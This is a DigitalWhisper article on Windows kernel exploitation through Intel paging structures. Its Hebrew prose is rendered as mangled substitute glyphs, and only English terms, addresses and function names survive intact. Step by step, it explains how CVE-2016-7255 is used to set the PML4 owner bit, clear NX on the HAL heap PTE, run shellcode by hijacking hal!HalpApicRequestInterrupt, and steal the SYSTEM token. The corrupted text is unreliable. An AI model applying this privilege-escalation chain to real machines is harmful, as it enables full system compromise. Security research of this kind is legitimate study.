˟ ˪˧˥˸ˢ˪ ˪˩ˣˮ ,˸˰˩--Page-Walkˢ ˪˷ ˨˶˰ˢ ˸˞ ˵˧˸˰ˢ˪ ˞ˣˢ ˭ˣ˷˞˶ˢ ˟˪˷ˢ .-PXE  ˶ˣ˵ˬˢ ˸˟ˣ˸˩ ˪˷

ˢ ˨ˣ˸˪-PXE  ,ˡ˰˧ˢ ˸˟ˣ˸˩˟ ˶ˤ˰˧ˢ˪ ˧˪˟ˬ ˰˴˟ˮ ˢˤˢ ˟˪˷ˢ ˸˞ .ˣˮ˪˷ ˢ˲ˣˬˬ ˢˮ˧˞ ˭˧˧ˡ˰ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ

ˢ ,˰ˠ˶˩)-PTE  ˨˶˰ˢ ˸˞ ˪˧˩ˬ ˢ˪˷0x00000000`00000000:˸˞ˤ ˰˴˟ˬ ˞˟ˢ ˡˣ˵ˢ ˰˦˵ .( 
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ˢ ˸˞ ˫˧˲˧˯ˣˬ ˣˮ˞˷ ˶˧˰ˮ-Mask 0x67ˢ˷ ˡˣˬ˰ˢ ˸˞ ˨ˣ˲ˢ˪ ˸ˮˬ ˪˰ ,-PXE ˪ ˢ˲ˬˬ ˣˮ˪˷-User ,˭˩ ˣˬ˩ .

 ˫˧˰˴˟ˬ ˣˮ˞Sleep ˧˪˧ˬ ˪˷-˪ ˶˷˲˞˪ ˸ˮˬ ˪˰ ,ˢ˧˧ˮ˷-TLB  ˨˷ˬˢ˟˷ ˭ˣˣ˧˩ˬ ˟ˣ˷˥ ˢˤ) ˭˩ˡ˰˸ˢ˪

.(ˡ˰˧ˢ ˸˟ˣ˸˩ ˪˷ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬ ˸ˣˮ˩ˡ˰˸ˢ ˪˰ ˡˣ˞ˬ ˨ˬ˸˯ˮ ˢ˧˴˵ˮˣ˲ˢ 

˪ ˸˲ˣˬˬ ˡ˰˧ˢ ˸˟ˣ˸˩ ,˸˰˩-PFN ˢ ˸˞ ˪˧˩ˬ˷-PDPT  ˸˞ ˞ˣ˶˵˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰˷ ˨˩ ,˶ˣ˵ˬˢ ˸˟ˣ˸˩ ˪˷

ˢ ˪˷ ˨˶˰ˢ-PPE ˢˢ ˟ˣ˷˧˥ˣ ˣˮ˪˷ ˡ˰˧ˢ ˸˟ˣ˸˩ ˸˶ˤ˰˟ ˢ˸ˣ˞ ˞ˣ˶˵˪ ˨˶˦˴ˮ ,˶ˣ˵ˬˢ ˸˟ˣ˸˩ ˪˷ ˪˷ ˦˯˧

-sPPE ˟-PDPT:˸˞ˤ ˰˴˟ˬ ˞˟ˢ ˡˣ˵ˢ ˰˦˵ . 

 

ˢ ˪˷ ˭˩ˣ˸ˢ ˸˞ ˞˶˵ˮ ,ˢˬˣˡ ˭˲ˣ˞˟-PDE ˢ ˸˞ ˭˩ˡ˰ˮˣ ˶ˣ˵ˬˢ ˸˟ˣ˸˩ ˪˷-PXE :˫˞˸ˢ˟ ˣˮ˪˷ 

 

˟˷ ˨˶˰ˢ ˸˞ ˵˧˸˰ˢ˪ ˞ˣˢ ˭ˣ˶˥˞ˢ ˟˪˷ˢ-PTE :ˡ˰˧ˢ ˸˟ˣ˸˩ ˸˞ ˶˧ˤ˥ˢ˪ˣ ,˶ˣ˵ˬˢ ˸˟ˣ˸˩ ˪˷ 

 

˪ ˷˧ˠˮ ˡˣˬ˰ˢ ˸˩˧˲ˢ˪ ˶˟˰ˬ˷ ˟˪ ˫˧˷ˮ-User ˫ˠ ˫˧˰˴˟ˬ ˣˮ˞ ,XOR  ˨˶˰ˢ ˫˰0x80000000`00000000 ,

 ˰˴˟˪ ˸ˮˬ ˪˰toggle ˪-NX-Bit  ˸˟ˣ˸˩ˢ ˪˷- ˢˣ ˢˡ˧ˬ˟ ,˨˩-NX-Bit ˟-PTE  ˵˪ˣˡ ˶ˣ˵ˬˢ ˸˟ˣ˸˩ ˪˷-  ˞ˣˢ

˟ ˧ˣ˟˩ ˢ˧ˢ˧-PTE  ˡ˰˧ˢ ˸˟ˣ˸˩ ˪˷-  ˵˲˸˯ˢ˪ ˭˸˧ˮ˷ ˨˩ ,ˢ˩ˣ˲ˢˢ ˸ˣˠˢˮ˸ˢˢ ˸˞ ˢ˴˶ˮ˷ ˢ˟˧˯ ˭˧˞ .˨˲ˢ˪ˣ

ˢ) ˭ˣ˧˪˰ˢ ˦˧˟ˢ ˸˞ ˸ˣ˟˩˪˟-NX-bitˢ ˪˷ (-PTE  ˰ˣ˴˧˟ ˸˶ˤ˰˟Bitwise And  ˨˶˰ˢ ˫˰

0x7FFFFFFF`FFFFFFFF. 

 ˟ˣ˸˩˪ ˭˩ˣ ,˶ˣ˵ˬˢ ˸˟ˣ˸˩˟ ˭˯˥ˣ˞ˬ˷ ˰ˡ˧ˬˢ ˸˞ ˞ˣ˶˵˪ ˪˩ˣˮ ˣˮ˧ˮ˟˷ ˢ˧˴˵ˮˣ˲ˢ ˢ˶˧ˤ˥ˬ˷ ˸˟ˣ˸˩ˢˬ

 ˸ˣ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˧˸˷˷ ˭ˣˣ˧˩ˬ ˸˞ˤˣ ,ˣ˩ˣ˸˪-  ˡ˰˧ˢ ˸˟ˣ˸˩ ˭ˢˣ ˶ˣ˵ˬˢ ˸˟ˣ˸˩ ˭ˢ-  ˣ˸ˣ˞˪ ˸ˣ˯˥˧˧˸ˬ

PFN ˶˩˧ˤ˟.˧ˤ˧˲ˢ ˭ˣ 
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 ˭ˬ˞ˮˢ ˣˮ˶˟˥ ˸˶ˤ˰˟ ˸˞ˤ ˫˧ˠˡˮ- s-Heap ˢ ˪˷-HAL:ˢ˞˟ˢ ˸˧ˮ˩˸˟ ˶ˤ˰˧ˮ . 

 

 ˶˷˞˩arbitraryOr4 ˢ ˦˧˟ˢ ˸˞ ˵˧˪ˡ˸ ˶˷˞ ˢ˧˴˵ˮˣ˲ ˞˧ˢ-3  ˢ˵˧˪ˡˬ ˨˩ˣ ,˸˧˸ˣ˶˧˶˷ ˸˟ˣ˸˩ ˶ˣ˟˰ ˭˧ˬ˧ˬ

ˢ ˸˞-Owner-Bit  ˪˰ ˢ˦˧˪˷ ˸˵ˮ˰ˢ ˪˷ ˢ˶˦ˬˢ ˸˞ ˸˵˲˯ˬˣ ˫˧ˣ˯ˬ ˧ˣ˲˧ˬ ˶˟˧˞ ˪˷PML4 ˣ ,˷ˬ˸˷ˬ˪-

mapAddressToUser  ˣ˧˪˞ ˭ˣ˶˩˧ˤˢ ˸˞ ˭˥˟ˮˣ ,ˢˮˣ˩ˬˢ ˪˰ ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮ .˪˧˰˪ ˣˮ˥˸˧˲˷ ˢ˧˴˵ˮˣ˲ˢ ˞˧ˢ

 ˸˯˥˧˧˸ˬaddress  ˸˟ˣ˸˩ˢ ˸˯˥˧˧˸ˬ ˣ˧˪˞ ˭ˣ˶˩˧ˤ˪ ˣ˸ˣ˞ ˢˣˣ˷ˮˣ0xFFFFFFFF`FFD00000: 

 

 ˸˟ˣ˸˩˟ ˭ˣ˶˩˧ˤˢ ˸˩˧˶˰ ˡ˴˧˩ ˫˧ˠˡˮaddress+0x30  ˸˟ˣ˸˩˟ ˭ˣ˶˩˧ˤˢ ˸˩˧˶˰˪ ˫ˣ˶ˠ˧

0xFFFFFFFF`FFD00030: 

 

.˶˥˟ˮ˷ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˡˣˬ˰ ˪˩˪/ˬ ˟ˣ˸˩˪/˞ˣ˶˵˪ ˸ˮˬ ˪˰ ˣˮ˪˷ ˢ˧˴˵ˮˣ˲˟ ˶ˤ˰˧ˢ˪ ˪˩ˣˮ ˢˬˣˡ ˭˲ˣ˞˟ 
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˪ˣ˴˧ˮ CVE-2016-7255 

 ˢ˷˪ˣ˥ˢ ˸˞ ˪˴ˮ˪ ˪˩ˣˮ ˡ˴˧˩ ˢ˞˶ˮCVE-2016-7255  ,˫ˡˣ˵ˢ ˶ˬ˞ˬ˟ .˪˧˰˪ ˣˮ˶˞˧˸˷ ˢ˦˧˷ˢ ˸˶ˤ˰˟

 ˧˦˵˧˧˟ˣ˞ ˸˶ˤ˰˟ ˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˨˶ˣ˴˪ ˢ˸ˣ˞ ˪˴ˮ˪ ˭˸˧ˮ ˡ˴˧˩ ˣˮ˧˞˶ˣ ˢ˟˥˶ˢ˟ ˢ˷˪ˣ˥ˢ ˪˰ ˣˮ˶˟˧ˡGDI .

 ˰˴˟˪ ˣˮ˪ ˸˶˷˲˞ˬ ˢ˷˪ˣ˥ˢ ,ˢ˶˴˵˟Bitwise Or  ˶˲˯ˬˢ ˫˰ ,˸˧˸ˣ˶˧˶˷ ˸˟ˣ˸˩˟ ˞˴ˬˮˢ ˨˶˰˪4 ˨˩˟ˣ ,

ˢ ˦˧˟ˢ ˸˞ ˵˧˪ˡˢ˪-3 ˧˩ˬ .˸˧˸ˣ˶˧˶˷ˢ ˸˟ˣ˸˩˟ ˧˶˟˧˞˟ ˧˷˧˪˷ˢ ˦˧˟ˢ˷ ˭ˣˣP*E ˢ ˦˧˟ ˞ˣˢ-Owner ˪˩ˣˮ ,

ˢ ˸˞ ˵˧˪ˡˢ˪ ˸ˮˬ ˪˰ ˢ˷˪ˣ˥ˢ ˸˞ ˪˴ˮ˪-Owner-Bit ˟-Self-Ref Entry ˟-PML4 ˰˵˶˵ˢ ˸˞ ˭˧˩ˢ˪ ˨˩ˣ ,

 ˢ˧˴˵ˮˣ˲ˢ ,ˢ˷˰ˬ˪ .˪˧˰˪ ˣˮ˥˸˧˲˷ ˸ˣ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷˪arbitraryOr4  ˢ˧˴˵ˮˣ˲ˢ ˫˴˰˟ ˞˧ˢarbitraryOr4 

 ˪˰ ˶ˬ˞ˬ˟ ˣˮ˥˸˧˲˷CVE-2016-7255 ˸˞ˤ ˫ˣ˵ˬ˟ ˞˪˞ ,ˢˤ ˶ˬ˞ˬ ˸˶ˠ˯ˬ˟ ˢ˷˪ˣ˥ˢ ˸ˣˡˣ˞ ˦˶˲ˮ ˞˪ .

˟ ˡˣ˵ ˸˴˶ˢ˪ ˢ˸ˣ˞ ˪˴ˮ˪ ˪˩ˣˮ ˡ˴˧˩ ˢ˞˶ˮ-Ring-0 ˢ ˭ˣˮˠˮˬ ˪ˣ˴˧ˮ ˸˶ˤ˰˟ ˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢˣ-Paging  ˪˷

Intel. 

 ˢ˧˧ˮ˷ˢ ˢ˧˴˲ˣ˞˟ ,˸ˣ˧˸ˣ˶˧˶˷ ˸ˣ˟˧˸˩ ˪ˣ˴˧ˮ ˪˰ ˣˮˮˣ˧ˡ˟ ˣˮ˶˞˧˸˷ ˣˤ˪ ˢˬˣˡ ˢ˦˧˷˟ ˢ˷˪ˣ˥ˢ ˸˞ ˪˴ˮˮ

:ˣˮˠ˴ˢ˷ 

1.  ˸˞ ˢ˟˩ˮ-sNX-Bit ˟-PTE ˢ ˪˷-Heap ˢ ˪˷-HAL. 

2. ˢ ˸˞ ˫˵ˬˮ-Shellcode ˢ ˪˰ ˣˮ˪˷-Heap ˢ ˪˷-HAL. 

3. ˪ ˰˧˟˴ˬˢ ˸˞ ˯ˣ˶ˡˮ-hal!HalpApicRequestInterrupt ˟ ˟˷ˣ˧˷-Heap ˢ ˪˷-HAL  ,˸˧˲˧˴˲˯)

 ˸˟ˣ˸˩˟0xFFFFFFFF`FFD0000 + 0x4C0 + 0x78 ˶˷˞˩ ,0x4C0 ˪ ˦˯˧ˢˢ ˞ˣˢ-

hal!HalpInterruptControllerˣ ,-0x78 ˟ ˢ˧˴˵ˮˣ˲˪ ˰˧˟˴ˬ˪ ˦˯˧ˢˢ ˞ˣˢ-HalpInterruptController (

˪ ˰˧˟˴ˬ˟-Shellcode .ˣˮ˪˷ 

4.  ˢ˧˴˵ˮˣ˲ˢ˷ ˭ˣˣ˧˩ˬhal!HalpApicRequestInterrupt  ˢ˧˴˵ˮˣ˲ˢ ˸˧ˡ˧ˬ ˦˰ˬ˩ ,˸ˣ˟ˣ˶˵ ˫˧˸˧˰˪ ˸˞˶˵ˮ

˪ ˰˧˟˴ˬ˟ ˢ˧˴˵ˮˣ˲˪ ˰˧˟˴ˬˢ ˸˞ ˣˮ˯˶ˡ˷ ˭ˣˣ˧˩ˬˣ ˞˶˵˸-Shellcode ˢ ,ˣˮ˪˷-Shellcode .˞˶˵˧ ˣˮ˪˷ 

˪ ˨˧˧˷ˢ ˡˣˬ˰˟ ˞˴ˬˮ ˞ˣˢ˷ ˭ˣˣ˧˩ˬ-Supervisor ,SMEP ˢ ˸˴˶ˢ ˸˞ ˣˮ˸˧˞ˬ ˰ˮˬ˧ ˞˪-Shellcode ˣˬ˩ .

ˢ ˸˞ ˣˮ˧˟˧˩˷ ˭ˣˣ˧˩ ,˭˩-NX-Bit ˫ˠ ,DEP .ˢ˴˶ˢˢ ˸˞ ˣˮ˸˧˞ˬ ˰ˮˬ˧ ˞˪ 

5.  ˭˸ˮ˧ˢ˟Shellcode ˪ ˞ˣ˶˵˪ ˠ˞ˣˡ ˶˷˞ ,˫˧˞˸ˬ-hal!HalpApicRequestInterrupt  ˪˩ˣˮ ,ˣ˸˴˧˶ ˫ˣ˸˟

˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˰˴˟˪ ˟ ˸ˣ˶˥˞ ˸ˣ˪ˣ˰˲ ˣ˞)-Ring-0.˸˩˶˰ˬˢ ˪˷ ˢ˯˧˶˵˪ ˫ˣ˶ˠ˪ ˧˪˟ˬ ( 

 ˸˞ ˢˮ˷ˮ ,ˢ˪˧˥˸mapAddressToUser ˢ ˸˞ ˨ˣ˲ˢ˪ ˣˮ˪ ˶˷˲˞˸˷ ˨˩-NX-Bit ˢ ˪˷-PTE  ˸˟ˣ˸˩ ˪˷

:ˢ˧˴˵ˮˣ˲˪ ˱˯ˣˮ ˦ˮˬˣˠ˶˞ ˱˧˯ˣˮ ,ˢ˪˧˥˸ .˶ˣ˵ˬˢ 
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ˢ ˪˷ ˨˶˰ˢ ˸˞ ˵˧˸˰ˬ ˶˷˞ ˢ˧˴˵ˮˣ˲˟ ˵˪˥˪ ˱˧˯ˣˮ ,˭˩ˬ ˶˥˞˪-PTE  ,ˡˣ˵ ˰˦˵ ˸˧˶ˣ˵ˬˢ ˢ˧˴˵ˮˣ˲ˢ ˪˷

ˢ ˸˞ ˨˲ˣˢ ˶˷˞-NX-Bit ˢ ˪˷-PTE ˣ ˢˡ˧ˬ˟ ˧˶ˣ˵ˬˢ-toggleNx ˬ ˢˮˣ˷-0: 

 

:ˢ˞˟ˢ ˸˧ˮ˩˸ˢ ˸˶ˤ˰˟ ˢ˪ˣ˰˲˟ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˫˧ˠˡˮ 

 

ˢ ˸˞ ˭˥˟ˮ-PTE  ˪˷0xFFFFFFFF`FFD00000: 

 

ˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-NX-Bit ˪ ˨˲ˢ ˡˣˬ˰ˢˣ ˧ˣ˟˩-Executable. 

 ˢ˧ˢ˧ ˞˟ˢ ˟˪˷ˢˢ ˸˞ ˵˧˸˰ˢ˪-Shellcode ˪ ˣˮ˪˷-Heap ˫˵ˬ˪ ˢˬ˧˞˸ˬ ˸˟ˣ˸˩ ˞ˣ˴ˬ˪ ˨˶˦˴ˮ ,˸˧˷˞˶ .

 .˟ˣ˷˥ ˰ˡ˧ˬ ˸˯˧˶ˡ˟ ˭˩˸˯ˮ ˞˪˷ ˨˩ ,˷ˣˬ˧˷˟ ˸˞˴ˬˮ ˞˪˷ ˸˟ˣ˸˩ ˸ˣ˧ˢ˪ ˢ˩˧˶˴ ˸˟ˣ˸˩ˢ .ˢ˟ ˣ˸ˣ˞

 ˵˥˶ˬ˟0xD50 ˢ ˸˪˧˥˸ˬ ˫˧˸˟-Heap:ˢˤ˩ ˭ˣ˶˩˧ˤ ˶ˣˤ˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ , 

 

ˢ ˸˞ ˢ˵˧˸˰ˬ ˢ˞˟ˢ ˸˧ˮ˩˸ˢ-Shellcode ˞˴ˬˮ˷  ˢ˧˴˵ˮˣ˲˟elevatePrivileges  ˢ˲˧˪˥ˬˣ ,˪"ˮˢ ˸˟ˣ˸˩˪

˪ ˰˧˟˴ˬˢ ˸˞-hal!HalpApicRequestInterrupt ˢ ˪˷ ˸˟ˣ˸˩˟-Shellcode  ˸˟ˣ˸˩˟ ˷ˬ˸˷ˮ˷ ˭˟ˣˬ˩)

 ˸˧˪˞ˣ˦˶˧ˣˢHAL_HEAP_BASE + 0xD50 ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩˟ ˞˪ˣ ,address + 0xD50. 
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 ˷ˬ˸˷ˬ˪ ˸˩˧˧˷ ˢ˧˧ˮ˷ˢ ˸˟ˣ˸˩ˢ˷ ˭ˣˣ˧˩ˬ-  ˢ˟ ˫˧˷ˬ˸˷ˬ ˣˮ˧˧ˢ ˫˞SMEP ˪ ˞ˣ˶˵˪ ˣˮ˸˧˞ˬ ˰ˮˣˬ ˢ˧ˢ-

Shellcode:( 

 

 ˸˞ ˭˥˟ˮhal!HalpInterruptController ˢ ˸˴˧˲˵ ˸˰˟-breakpoint: 

 

˪ ˰˧˟˴ˬˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-hal!HalpApicRequestInterrupt ˪ ˰˧˟˴ˬ˟ ˱˪˥ˣˢ-Shellcode  ˣˮˬ˵˧ˬ˷ ,ˣˮ˪˷

˟ˣ˸˩˟ ˸HAL_HEAP_BASE+0xD50ˢ ˸ˮ˧˥˟ˬ .-PTE  ˸˶˟ ˞˧ˢ ˸˟ˣ˸˩ˢ˷ ˸ˣ˞˶˪ ˪˩ˣˮ ,ˣˤˢ ˸˟ˣ˸˩ˢ ˪˷

:ˢ˴˶ˢ 

 

 ˫˵ˬˮ ,ˢ˸˰ ˸˰˪int 3 ˢ ˸˪˧˥˸˟-Shellcode ˢ˷ ˢ˞˶ˮˣ ˣˮ˪˷-breakpoint  ˫˧˥˧˪˴ˬ ˣˮ˞˷ˣ ˳˲ˣ˵ ˭˩˞

˟ ˸ˣˮˣ˷˞˶ˢ ˸ˣˡˣ˵˲ˢ ˸˞ ˳˧˶ˢ˪-Shellcode: 
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ˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-Shellcode  ˫ˣ˵ˬ˟ ˞˶˵ˮ ˣˮ˪˷hal!HalpApicRequestInterrupt ˸ˣ˞˶˪ ˭˸˧ˮ ,˭˩ ˣˬ˩ .

ˢ˷-Shellcode ˟ ˡˣ˵ ˸˴˶ˢ ˠ˧˷ˢ˪ ˣˮ˥˪˴ˢ ˶ˬˣ˪˩ ,ˢ˥˪˴ˢ˟ ˳˶-Ring-0 ˞˪ ˡˣ˰ ˣˮ˸ˡˣ˟˰˷ ˭˟ˣˬ˩ .

 ˢˬ˧˧˸˯ˢ- ˪ ˭˸˧ˮ ˫˞-Shellcode ˟ ˪˵˸ˮ ,˧ˣˮ˧˷ ˞˪˪ ˳ˣ˶˪-Blue Screen. 

˟ ˭ˣ˟˷˥˟ ˸˥˵˪ ˣˮ˧˪˰˷ ˫˧˪ˣ˵˧˷ ˶˲˯ˬ ˷˧-Shellcode  ˭ˣ˟˷˥˟ ˸˥˵˪ ˫˧˩˧˶˴ ˣˮ˧˧ˢ ˞˪˷ ,ˣˮ˪˷

ˢ ˪ˣ˴˧ˮ ˪˰ ˣˮ˶˟˧ˡ˷˩ ˣ˟ ˣˮ˷ˬ˸˷ˢ˷˩-Stack-Overflow ˟-HEVD  ˸˥˸SMEP: 

1. ˢ ˪˰-Shellcode ˪ ˳ˣ˲˵˪ ˣˮ˪˷-hal!HalpApicRequestInterrupt .˶ˤˣ˥ ˞ˣˢ˷ ˧ˮ˲˪ 

2. ˢ ˸˞ ˯ˣ˶ˡˮ ˫˞ ,˫˧˩˧˪ˢ˸ˢ ˪˩ ˶ˣ˟˰ ˱˸ˣ˷ˬ ˸˩˶˰ˬˢ ˭ˣ˶˩˧ˤ˷ ˭ˣˣ˧˩ˬ-Heap ˢ ˪˷-HAL  ˨˧˪ˢ˸˟

 ˫˧ˣ˯ˬ- ˢ˷ ˨˩ ˪˰ ˨ˬ˸˯ˢ˪ ˪˩ˣˮ ˞˪ ˶˟˩ ,˭˩˪ .˫˧˩˧˪ˢ˸ˢ ˪˩ ˶ˣ˟˰ ˣ˸ˣ˞ ˯ˣ˶ˡˮ-Shellcode  ˳ˣ˶˧

ˢ ˧˲˪ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˸˞ ˫ˠ ˞ˣ˴ˬ˪ ˨˶˦˴ˮˣ ,ˣˮ˪˷ ˨˧˪ˢ˸˟-PID  ˸˞˧˴ˬ˪ ˱˯ˣˮ˟ ,ˣ˪˷System. 

3. ˪ ˯˥˧˧˸ˢ˪ ˨˶˦˴ˮ˷ ˞˧ˢ ,˰ˠ˶˩ ˢ˟ ˵ˬ˰˸ˮ ˞˪˷ ,˸˲˯ˣˮ ˢˡˣ˵ˮ-Interrupts ˨˪ˢˬ˟ ˸ˣ˪˰˪ ˫˧˪ˣ˪˰˷ 

 ˢˡˣ˵˲˟ ˷ˬ˸˷ˢ˪˟ ˵˲˸˯ˮ .ˣˮ˪˷ ˡˣ˵ˢ ˸˴˧˶cli ˢ ˸˪˧˥˸˟-Shellcode ˢˡˣ˵˲˟ˣ ,sti ˢ ˱ˣ˯˟-

Shellcode.˸ˣˡˣ˵˲ˢ ˪˰ ˦˶˲˪ ˧˪˟ˬ , 

ˢ ˪˰ ˶ˣ˟˰ˮ-Shellcode ˢ .ˣ˟ ˣ˰˴ˣ˟˷ ˸ˣˬ˞˸ˢˢ ˸˞ ˶ˣ˵˯ˮˣ ˫˞˸ˣˬˢ-Shellcode :˨˩ ˪˧˥˸ˬ 

 

˪ ˫˧˞˶ˣ˵ ˣˮ˞ ,ˢ˪˧˥˸-cli ˢ ˪ˠˡ ˸˞ ˸ˣ˵ˮ˪ ˸ˮˬ ˪˰-Interrupt . .ˣˤˢ ˢˡˣ˵˲ˢ ˸ˣˢˬ˟ ˵ˬ˰˸ˮ ˞˪ ,˶ˣˬ˞˩

˪ ˧ˮˣ˧˵˧˵ ˨˶˰ ˫˧˶˧˟˰ˬ ˣˮ˞ ,˭˩ˬ ˶˥˞˪-rax ˸˞ ˫ˠ ˱ˣ˥ˡˮ ˨˷ˬˢ˟ .˸˧ˮ˯˥ˬ˪ ˣ˸ˣ˞ ˫˧˲˥ˣˡˣ ,rdx  ˸˞ˣrcx .

 ˪˷ ˸˟ˣ˸˩˟ ˢ˴˧˶ ˭ˬˤ˟ ˱˧˪˥ˮ ˧ˮˣ˧˵˧˵ˢ ˨˶˰ˢ ˸˞hal!HalpApicRequestInterrupt ˣ˸ˣ˞ ˫˧˲˥ˣˡ ˣˮ˞ .

˶ˣˡ ˞˪˷ ˭˲ˣ˞˟ ˣ˸ˣ˞ ˶ˣˬ˷˪ ˸ˮˬ ˪˰ ˸˧ˮ˯˥ˬ˪ ˣˮ˞ ,˭˩ˬ ˶˥˞˪ .ˣ˸ˣ˞ ˵˧ˤ˥˧˷ ˶ˠˣ˞ ˸ˣ˴˵ˢ˪ ˣˮ˸˧˞ˬ ˷

 ˸˞ ˫˧˲˥ˣˡrdx x-rcx ˫˩˶˰ ˪˰ ˶ˣˬ˷˪ ˸ˮˬ ˪˰ ,- ˟ ,˶ˣ˩ˤ˩-x64 ˪˷ ˫˧˩˶˰ˢ ˸˞ ˫˧˪˧˩ˬ ˣ˪˪ˢ ˫˧˶ˠˣ˞ˢ ,

.˫ˢ˧˪˰ ˶ˣˬ˷˪ ˢ˴˶ˮ˷ ˨˩ ,ˢ˧˴˵ˮˣ˲˪ ˫˧ˮˣ˷˞˶ˢ ˫˧˦ˮˬˣˠ˶˞ˢ ˧ˮ˷ 

˨˷ˬˢ s-Shellcode ˶˧˩ˤˬ ˸˞ ˸˪˧˥˸ s-Shellcode ˧˶ˣ˵ˬˢ: 

 



 
 

Intel Paging & Page Table Exploitation on Windows 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ97 , ˦˯ˣˠˣ˞2018  111 
 

˴ˣˬ ˣˮ˞ˢ ˸˞ ˫˧˞-EPROCESS ˢ ˪˰ ˢ˧˴˶ˬˣˮ˧˞ ˰˴˟˪ ˫˧˪˧˥˸ˬˣ ,˧˥˩ˣˮˢ ˨˧˪ˢ˸ˢ ˪˷-

ActiveProcessLinks ˸˞ ˫˧˯˲˞ˬ ˣˮ˞ ˫˰˲ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,˭˩ ˣˬ˩ .rbx x-rax -  ˸ˮˬ ˪˰ ˫ˢ˟ ˷ˬ˸˷ˮ

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˧˩ˢ˪-EPROCESS ˢ ˪˷ ˨˶˰ˢ ˸˞ˣ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˷-Token  ˪˷System .ˢˬ˞˸ˢ˟ ,

˫˸ˣ˞ ˸˞ ˞˴ˬˮ ,˨˷ˬˢ˟ ˢ ˪˰ ˢ˧˴˶ˬˣˮ˧˞ ˸˶ˤ˰˟ ˫˧˩˶˰-ActiveProcessLinks: 

 

ˢ ˫ˠˣ ˢˡ˧ˬ˟ ˵˶ ˢ˞˪ˣ˪ˢ ˸˞ ˟ˣˤ˰ˮ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-Token  ˪˷System )raxˢ ˫ˠˣ (-EPROCESS  ˪˷

) ˣˮ˪˷ ˨˧˪ˢ˸ˢraxˢ˷ ˟˪ ˫˧˷ˮ .ˣ˞˴ˬˮ (-PID  ˞ˣˢ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˷0x1337 -  ˨˶˰˟ ˶˟ˣˡˬ ˭˞˩ ˫ˠ

˪ ˫˞˸ˢ˟ ˢ˴˶ˢ ˭ˬˤ˟ ˢˮ˷ˮ˷ ˧ˮˣ˧˵˧˵-PID ˷.˨˧˪ˢ˸ˢ ˪ 

ˢ ˸˲˪˥ˢ ˸˞ ˰˴˟ˮ ˸˧˷˞˶ ,ˢ˞˪ˣ˪ˢˬ ˞˴ˮ ˶˷˞˩-Token: 

 

 ˸ˣ˞˷˶ˢ ˣ˵ˮ˰ˣ˧ ˣˮ˪˷ ˨˧˪ˢ˸˪ ,ˣˤˢ ˢˡˣ˵˲ˢ ˸˴˶ˢ ˶˥˞˪SYSTEM ˸˩˶˰ˬˢ ˸˞ ˶˧ˤ˥ˢ˪ ˞ˣˢ ˞˟ˢ ˟˪˷ˢ .

:˸˞ˤ ˢ˷ˣ˰ ˞˟ˢ ˡˣ˵ˢ ˰˦˵ .ˢˮ˧˵˸ ˢ˴˧˶ ˪˷ ˟˴ˬ˪ 
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˪ ˰˧˟˴ˬˢ ˞˴ˬˮ ˢ˟˷ ˸˟ˣ˸˩ˢ ˸˞ ˭˯˥˞ˬ ˡˣ˵ˢ ˰˦˵-hal!HalpApicRequestInterrupt  ˶ˠˣ˞˟rax ,

˟ ˸˧ˮˣ˧˵˧˵ ˸˟ˣ˸˩ ˭˯˥˞ˬ ˭˩ˬ ˶˥˞˪ˣ-rbx ˪˷ ˸˟ˣ˸˩˟ ˢ˴˧˶ ˭ˬˤ˟ ˱˧˪˥ˮ ˣˤˢ ˸˟ˣ˸˩ˢ ˸˞ .

hal!HalpApicRequestInterrupt˟˷ ˨˶˰ˢ ˸˞ ˫˧˵˧˸˰ˬ ˣˮ˞ ,˭˩ˬ ˶˥˞˪ .-rbx  ˵˧ˤ˥ˬ˷ ˸˟ˣ˸˩ˢ ˪˞rax ,

 ˣˮ˰˴˧˟˷ ˢ˯˧˶ˡˢ ˸˞ ˫˧˪˦˟ˬ ˨˩˟ˣ-  ˰˴˟˸˸˷ ˢ˞˟ˢ ˫˰˲˟˪ ˢ˞˧˶˵-hal!HalpcApicRequestInterrupt ,

 ˸˧˶ˣ˵ˬˢ ˢ˧˴˵ˮˣ˲ˢ ˞˶˵˸- ˢ ˞˪ˣ-Shellcode  ˰˴˟ˮ ,˭˩ˬ ˶˥˞˪ .ˣˮ˪˷pop ˪-rcx x-rdx  ˶ˤ˥˞˪ ˸ˮˬ ˪˰

 ˰˴˟ˮ ,ˢ˧˴˵ˮˣ˲ˢ ˸˪˧˥˸˟ ˣˮ˶ˬ˷˷ ˫˧˩˶˰ˢ ˸˞pop ˪-rax  ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˶ˤ˥˞˪ ˸ˮˬ ˪˰

hal!HalpApicRequestInterruptˢ ˪ˠˡ ˸˞ ˶˧ˤ˥ˮ ,-Interrupt  ˸˶ˤ˰˟sti ˪ ˳ˣ˲˵ˮˣ-

hal!HalpApicRequestInterrupt. 

ˢ ˸˞ ˭˩ˡ˰ˮ-main ˟ ˫˧˷˶ˡˮˢ ˫˧˧ˣˮ˧˷ˢ ˸˞ ˰˴˟˸ ˸˧ˮ˩˸ˢ˷ ˨˩ ˣˮ˪˷-Shellcode :ˢ˴˧˶ ˭ˬˤ˟ 

 

